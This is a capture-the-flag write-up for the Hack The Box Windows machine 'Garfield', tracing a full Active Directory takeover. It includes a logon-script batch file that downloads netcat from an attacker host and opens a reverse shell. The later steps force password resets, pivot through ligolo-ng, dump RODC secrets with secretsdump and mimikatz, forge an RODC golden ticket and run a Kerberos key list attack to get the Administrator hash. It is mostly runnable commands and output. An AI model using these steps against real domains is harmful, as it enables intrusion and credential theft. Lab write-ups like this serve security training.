> m4rt@CTF_ARCHIVE:~$

Hack The Box / WINDOWS / 2026-11-07

Hack The Box — Garfield (Windows)

We overwrite the logon script of a user to get a reverse shell on the DC. We change the password of another user and log in remotely on the DC. We change the password of the RODC machine account and use ligolo-ng to pivot to it. We add ourselves to the RODC Administrators group and become admin of the RODC. We dump its secrets and perform a key list attack to get the krbtgt hash of the domain. We use it to create a golden ticket and get a root shell on the DC.

Machine Information

As is common in real life pentests, you will start the Garfield box with credentials for the following account j.arbuckle / Th1sD4mnC4t!@1978

Target

  • IP: 10.129.22.31

Port scanning

sudo nmap -sC -sV 10.129.22.31 -p- -v
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-05 04:58:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Issuer: commonName=DC01.garfield.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-13T01:10:36
| Not valid after:  2026-08-15T01:10:36
| MD5:     1d54 628d c6bd 0ef0 98e8 6fe7 ed23 3178
| SHA-1:   6a3b 9a1d cd3f 0006 7f71 f340 cefb 59b8 b2e9 5041
|_SHA-256: f7cc 022a 49f7 12ba 7bf1 ba5e 4d55 723c c89b 0f9e e9cc 1e29 9d2b 8d7e 36f3 c999
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-05T04:59:23+00:00
|_ssl-date: 2026-04-05T05:00:04+00:00; +8h00m04s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49899/tcp open  msrpc         Microsoft Windows RPC
49980/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Add dc01.garfield.htb and garfield.htb to /etc/hosts.

Initial enumeration

nxc smb dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB         10.129.22.31    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.22.31    445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB         10.129.22.31    445    DC01             [*] Enumerated shares
SMB         10.129.22.31    445    DC01             Share           Permissions     Remark
SMB         10.129.22.31    445    DC01             -----           -----------     ------
SMB         10.129.22.31    445    DC01             ADMIN$                          Remote Admin
SMB         10.129.22.31    445    DC01             C$                              Default share
SMB         10.129.22.31    445    DC01             IPC$            READ            Remote IPC
SMB         10.129.22.31    445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.22.31    445    DC01             SYSVOL          READ            Logon server share
nxc ldap dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'
LDAP        10.129.22.31    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.22.31    389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

Let's enumerate the domain with bloodhound:

bloodhound-ce-python -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -ns 10.129.22.31 -d 'garfield.htb' -dc dc01.garfield.htb -c All --zip

We get a zip.

Start bloodhound. On Kali linux:

sudo bloodhound

Upload the zip.

From bloodhound we notice that the user j.arbuckle belongs to the group IT Support.

To get a list of all the users, run:

nxc smb dc01.garfield.htb -d garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users.txt

Remotely enumerating ACLs

Download powerview.py (https://github.com/aniqfakhrul/powerview.py

python3 powerview.py/powerview.py 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978@dc01.garfield.htb' --dc-ip 10.129.22.31 --no-pass -q Get-DomainObjectACL > acls.txt

We can now analyze the ACLs in the file acls.txt to find interesting permissions.

Abusing write permissions on scriptPath AD property

We notice that the group IT Support (and thus also the user j.arbuckle) has write permissions on object type Script-Path for several users and groups. So we can overwrite the logon script of one of these users.

From bloodhound we notice that the user l.wilson belongs to the group Remote Management Users, thus she can log in remotely on the DC. So the idea is to compromise her to get a shell on the DC.

We can get a reverse shell using nc64.exe (https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exe). Download it and serve it with a python server.

python3 -m http.server 5555

Create a malicious batch script evil_script.bat with the following content:

mkdir C:\tmp
curl http://10.10.16.41:5555/nc64.exe -o C:\tmp\nc64.exe
C:\tmp\nc64.exe -e cmd.exe 10.10.16.41 4444

Start a netcat listener to catch the reverse shell.

nc -vlnp 4444

Access the SYSVOL share to upload the malicious script.

smbclient -U j.arbuckle '//10.129.22.31/SYSVOL'
# insert password: Th1sD4mnC4t!@1978
cd garfield.htb\scripts
put evil_script.bat

Now we can overwrite the scriptPath AD attribute of l.wilson with bloodyad (https://github.com/CravateRouge/bloodyAD)

python3 bloodyAD/bloodyAD.py --host 'dc01.garfield.htb' -d garfield.htb --dc-ip 10.129.22.31 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' set object 'l.wilson' scriptPath -v 'evil_script.bat'
[+] l.wilson's scriptPath has been updated

Wait some time. We get a reverse shell on the DC as l.wilson.

Changing the password of l.wilson_adm

From bloodhound we see that l.wilson has the relation ForceChangePassword toward l.wilson_adm. So we can change her password. We can use PowerView.ps1 for that.

Download PowerView.ps1 (https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1) and upload it to the DC. You can use a python server to serve the file and curl on the victim machine to download it on the DC.

Get a powershell by running:

powershell

on the reverse shell. Now run:

. .\PowerView.ps1
$UserPassword = ConvertTo-SecureString 'Summer2026!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'l.wilson_adm' -AccountPassword $UserPassword

The password should be changed.

From bloodhound we see that l.wilson_adm belongs to the 'Remote Management Users' group, so we can log in remotely on the DC with evil-winrm

evil-winrm -i dc01.garfield.htb -u 'l.wilson_adm' -p 'Summer2026!'

We get a powershell shell on the DC as l.wilson_adm.

Changing the password of RODC01$

From bloodhound we see that l.wilson_adm has the relation ForceChangePassword toward the machine account RODC01$. We can change its password with bloodyad:

python3 bloodyAD/bloodyAD.py --host 'dc01.garfield.htb' -d garfield.htb --dc-ip 10.129.22.31 -u 'l.wilson_adm' -p 'Summer2026!' set password 'RODC01$' 'Summer2026!'
[+] Password changed successfully!

Pivoting with ligolo-ng

If we want to easily interact with the RODC, we can setup a pivot with ligolo-ng.

Download proxy and agent.exe for ligolo-ng (https://github.com/nicocha30/ligolo-ng) and upload agent.exe on the DC.

On the attacking machine, run:

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

On the victim machine, run:

.\agent.exe -connect 10.10.16.41:11601 -ignore-cert

On the proxy terminal we get a session.

ligolo-ng » session

Choose session 1

ligolo-ng » start

On a shell on the DC, run:

ping RODC01
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128

So the ip of the RODC is 192.168.100.2.

Now, on the attacking machine, run:

sudo ip route add 192.168.100.0/24 dev ligolo

Now we can easily interact with the RODC. For example, on the attacking machine we can run:

ping 192.168.100.2
64 bytes from 192.168.100.2: icmp_seq=1 ttl=64 time=130 ms

Interesting group RODC Administrators

In the domain garfield.htb there is the group RODC Administrators. In the file acls.txt we notice these interesting permissions for that group:

ObjectDN                    : CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
ObjectSID                   : S-1-5-21-2502726253-3859040611-225969357-1602
ACEType                     : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags                    : CONTAINER_INHERIT_ACE
AccessMask                  : ReadProperty, WriteProperty
ObjectAceFlags              : ACE_OBJECT_TYPE_PRESENT
ObjectAceType               : Managed-By
InheritanceType             : None
SecurityIdentifier          : GARFIELD\RODC Administrators

ObjectDN                    : CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
ObjectSID                   : S-1-5-21-2502726253-3859040611-225969357-1602
ACEType                     : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags                    : CONTAINER_INHERIT_ACE
AccessMask                  : ReadProperty, WriteProperty
ObjectAceFlags              : ACE_OBJECT_TYPE_PRESENT
ObjectAceType               : ms-DS-Reveal-OnDemand-Group
InheritanceType             : None
SecurityIdentifier          : GARFIELD\RODC Administrators

ObjectDN                    : CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
ObjectSID                   : S-1-5-21-2502726253-3859040611-225969357-1602
ACEType                     : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags                    : CONTAINER_INHERIT_ACE
AccessMask                  : ReadProperty, WriteProperty
ObjectAceFlags              : ACE_OBJECT_TYPE_PRESENT
ObjectAceType               : ms-DS-Never-Reveal-Group
InheritanceType             : None
SecurityIdentifier          : GARFIELD\RODC Administrators

Firstly, we notice that RODC Administrators has permissions to write the Managed-By attribute of RODC01. As explained here (https://www.thehacker.recipes/ad/movement/builtins/rodc), any user or group specified in that attribute has local administrative rights on the RODC.

Secondly, as explained here (https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-revealondemandgroup), the ms-DS-Reveal-OnDemand-Group attribute is used with RODCs to define which users, computers, and groups are allowed to have their passwords cached on an RODC.

Finally, as explained here (https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-neverrevealgroup), the ms-DS-NeverRevealGroup attribute is used with RODCs to define which users, computers, and groups are not allowed to have their passwords cached on an RODC.

From bloodhound we also notice that the user l.wilson_adm is a member of the group Tier 1, which has an AddSelf relation toward RODC Administrators. So l.wilson_adm can add herself to the group RODC Administrators, allowing us to grant l.wilson_adm all the beforementioned permissions on RODC01.

We can use bloodyad to add l.wilson_adm to RODC Administrators:

python3 bloodyAD/bloodyAD.py --host 'dc01.garfield.htb' -d garfield.htb --dc-ip 10.129.22.183 -u 'l.wilson_adm' -p 'Summer2026!' add groupMember 'RODC Administrators' 'l.wilson_adm'
[+] l.wilson_adm added to RODC Administrators

Becoming admin of RODC01 and dumping its secrets

Now, let's focus on the Managed-By attribute first. Let's add l.wilson_adm to the Managed-By attribute of RODC01 with bloodyad:

python3 bloodyAD/bloodyAD.py --host 'dc01.garfield.htb' -d garfield.htb --dc-ip 10.129.22.31 -u 'l.wilson_adm' -p 'Summer2026!' set object 'RODC01$' managedBy -v 'CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb'
[+] RODC01$'s managedBy has been updated

Now get a shell on RODC01 with evil-winrm using l.wilson_adm credentials:

evil-winrm -i 192.168.100.2 -u l.wilson_adm -p 'Summer2026!'

Force a Group Policy Update:

gpupdate /force

Now, on our attacking machine, run:

nxc smb 192.168.100.2 -u l.wilson_adm -p 'Summer2026!'
SMB         192.168.100.2   445    RODC01           [*] Windows 10 / Server 2019 Build 17763 x64 (name:RODC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         192.168.100.2   445    RODC01           [+] garfield.htb\l.wilson_adm:Summer2026! (Pwn3d!)

Notice the Pwn3d! in the output, which means that we are admin of RODC01.

Now that we are admins, we can use secretsdump.py to dump the secrets of RODC01:

secretsdump.py garfield.htb/'l.wilson_adm':'Summer2026!'@192.168.100.2
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0821167a7588e6d2b614897381a821e8
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:75be66596ddc5654acafd187fe51b960:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
GARFIELD\RODC01$:aes256-cts-hmac-sha1-96:53f207641615eef3b3235d9b2ee9dfa47dcec7c05d46393958031eaee42eda22
GARFIELD\RODC01$:aes128-cts-hmac-sha1-96:52432a8bdb5b11e64f3c9f53ef712b50
GARFIELD\RODC01$:des-cbc-md5:d0bcec45048f896b
GARFIELD\RODC01$:plain_password_hex:abb915b0b3c6d32cceef0ffbdc3b1127fd34b73d3e19aa025cf48001ae8cd74aa785ce92b7c2a471e37797c8f40be14e8dac759d95ffb3bd82c5f54bf0306c2514302bc1f69ad88c4dd3cd453398ccde0de0feee82f7a3f4d8ac62337a523246ab88b81fef57bcc1352b737b5ca26321b8e01e892401a33283bde8767fed76370940c02781e6bb383bdf6309a1f049ceeff742e392cc68d0e903d93b8393916e20064fdffa3e7f6bad9c99ebef4a24f1d57fc9c9d295b0a0052c56606b90457167a8fa0fe9c6510842e03341fd157fc1363d2d0ca2cdd6c53c87307086cd0ae370f162fe4bd3cf1e8a366cfda8eb125d
GARFIELD\RODC01$:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xaadd93a8b30c0fc22ad839d8bfdc9ee6ec158197
dpapi_userkey:0x2d4b8deaff672885e9e9ebf80897999fb759a12c
[*] NL$KM
 0000   6B 11 7A B9 57 D2 77 C0  42 65 19 7C 78 9B 01 E6   k.z.W.w.Be.|x...
 0010   64 DA 6F DF DC B9 B0 E9  A1 C2 6C 0B FA 72 24 7B   d.o.......l..r${
 0020   A3 A6 C7 A3 05 1A 29 42  06 AF 0B 84 82 F0 F3 B8   ......)B........
 0030   21 71 96 71 1A 8D 6F 73  B0 DD E8 B0 7E FE 22 1F   !q.q..os....~.".
NL$KM:6b117ab957d277c04265197c789b01e664da6fdfdcb9b0e9a1c26c0bfa72247ba3a6c7a3051a294206af0b8482f0f3b8217196711a8d6f73b0dde8b07efe221f
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] Unknown DCE RPC fault status code: 00000057
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up...
[*] Stopping service RemoteRegistry

RODCs can be vulnerable to some attacks, such as golden ticket and key list.

Both attacks are explained here: https://specterops.io/blog/2023/01/25/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc/

RODC key list attack

From the specterops blog, we see that, for the key list attack to work, we need to put our target user in the msDS-RevealOnDemandGroup attribute and remove it from the msDS-NeverRevealGroup attribute of the RODC.

Let's first check those attributes on RODC01:

python3 bloodyAD/bloodyAD.py --host 'dc01.garfield.htb' -d garfield.htb --dc-ip 10.129.22.183 -u 'l.wilson_adm' -p 'Summer2026!' get object 'RODC01$' | grep -i msds
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Account Operators,CN=Builtin,DC=garfield,DC=htb; CN=Server Operators,CN=Builtin,DC=garfield,DC=htb; CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb; CN=Administrators,CN=Builtin,DC=garfield,DC=htb

We notice that, currently, in the msDS-RevealOnDemandGroup attribute there is the group Allowed RODC Password Replication Group. From bloodhound we see that such group does not have any member.

Conversely, in the msDS-NeverRevealGroup attribute there are several groups, including Administrators. So, this would stop our attack.

However, since l.wilson_adm has permissions to write both msDS-RevealOnDemandGroup and msDS-NeverRevealGroup, we can modify those attributes to put Administrator in the first one and clear the second one. We can use bloodyad to do that:

python3 bloodyAD/bloodyAD.py --host 'dc01.garfield.htb' -d garfield.htb --dc-ip 10.129.22.183 -u 'l.wilson_adm' -p 'Summer2026!' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
[+] RODC01$'s msDS-RevealOnDemandGroup has been updated
python3 bloodyAD/bloodyAD.py --host 'dc01.garfield.htb' -d garfield.htb --dc-ip 10.129.22.183 -u 'l.wilson_adm' -p 'Summer2026!' set object 'RODC01$' msDS-NeverRevealGroup
[+] RODC01$'s msDS-NeverRevealGroup has been updated

Now, we have to forge a golden ticket. From bloodhound we notice that there is the krbtgt_8245 account, which is the krbtgt account linked to RODC01. To forge the golden ticket, we need the credentials or aes key of that account.

From bloodhound, we notice that RODC01$ can change the password of krbtgt_8245. However, I noticed that, even if I changed the password of krbtgt_8245 to, for example, Summer2026!, and I used that password for the rest of the attack, the attack didn't work.

Also, secretdumps.py wasn't able to dump the krbtgt_8245 nthash or the aes key. I tried many attacks, but in the end I managed to get krbtgt_8245 nthash with mimikatz.exe.

Get a shell on RODC01 as l.wilson_adm, who is now admin:

evil-winrm -i 192.168.100.2 -u l.wilson_adm -p 'Summer2026!'

Upload mimikatz.exe (https://github.com/ParrotSec/mimikatz/raw/refs/heads/master/x64/mimikatz.exe) on the RODC (you can use python server + curl) and run:

.\mimikatz.exe "lsadump::lsa /patch" exit

In the output we see:

RID  : 00000643 (1603)
User : krbtgt_8245
LM   :
NTLM : 28b0cd756f7e865ad7cb8718e48c9390

Interesting note: each time I change the password of krbtgt_8245 to the same Summer2026! password, the nthash changes. This is weird, but I guess it's a quirk of RODCs.

So now we have the nthash of krbtgt_8245 and we can forge a golden ticket with Rubeus.

Get a shell on DC with evil-winrm using l.wilson_adm credentials:

evil-winrm -i dc01.garfield.htb -u 'l.wilson_adm' -p 'Summer2026!'

Upload Rubeus.exe (https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_x64/Rubeus.exe) on the DC.

We need some other information:

1) The krbtgt account's version number. It's the number after the underscore in the krbtgt_8245 account name, so it's 8245. We can also find it in the msDS-KrbTgtLink attribute of the RODC01:

python3 bloodyAD/bloodyAD.py --host 'dc01.garfield.htb' -d garfield.htb --dc-ip 10.129.22.31 -u 'l.wilson_adm' -p 'Summer2026!' get object 'RODC01$' --attr msDS-KrbTgtLink
msDS-KrbTgtLink: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb

2) The SID of the domain. We can find it with impacket's lookupsid.py:

lookupsid.py garfield.htb/'l.wilson_adm':'Summer2026!'@dc01.garfield.htb
[*] Domain SID is: S-1-5-21-2502726253-3859040611-225969357

Also, in the same output we can find the RID of the user Administrator, which is 500.

We have all the ingredients to forge the golden ticket. We can run the following command on the DC:

.\Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /rc4:28b0cd756f7e865ad7cb8718e48c9390 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357
[*] Ticket written to ticket_2026_04_06_04_44_19_Administrator_to_krbtgt@GARFIELD.HTB.kirbi

Now we can perform the key list attack with Rubeus using the generated ticket:

.\Rubeus.exe asktgs /enctype:rc4 /keyList /service:krbtgt/garfield.htb /dc:dc01.garfield.htb /ticket:'ticket_2026_04_06_04_44_19_Administrator_to_krbtgt@GARFIELD.HTB.kirbi'
  ServiceName              :  krbtgt/GARFIELD.HTB
  ServiceRealm             :  GARFIELD.HTB
  UserName                 :  Administrator (NT_PRINCIPAL)
  UserRealm                :  GARFIELD.HTB
  StartTime                :  4/5/2026 9:44:56 PM
  EndTime                  :  4/6/2026 7:44:19 AM
  RenewTill                :  1/1/0001 12:00:00 AM
  Flags                    :  name_canonicalize
  KeyType                  :  rc4_hmac
  Base64(key)              :  P6YG5B/w70xuu78ZxoHTAw==
  Password Hash            :  EE238F6DEBC752010428F20875B092D5

We got the nthash of Administrator.

Now we can get a shell on the DC as Administrator with evil-winrm using the obtained hash:

evil-winrm -i dc01.garfield.htb -u Administrator -H 'EE238F6DEBC752010428F20875B092D5'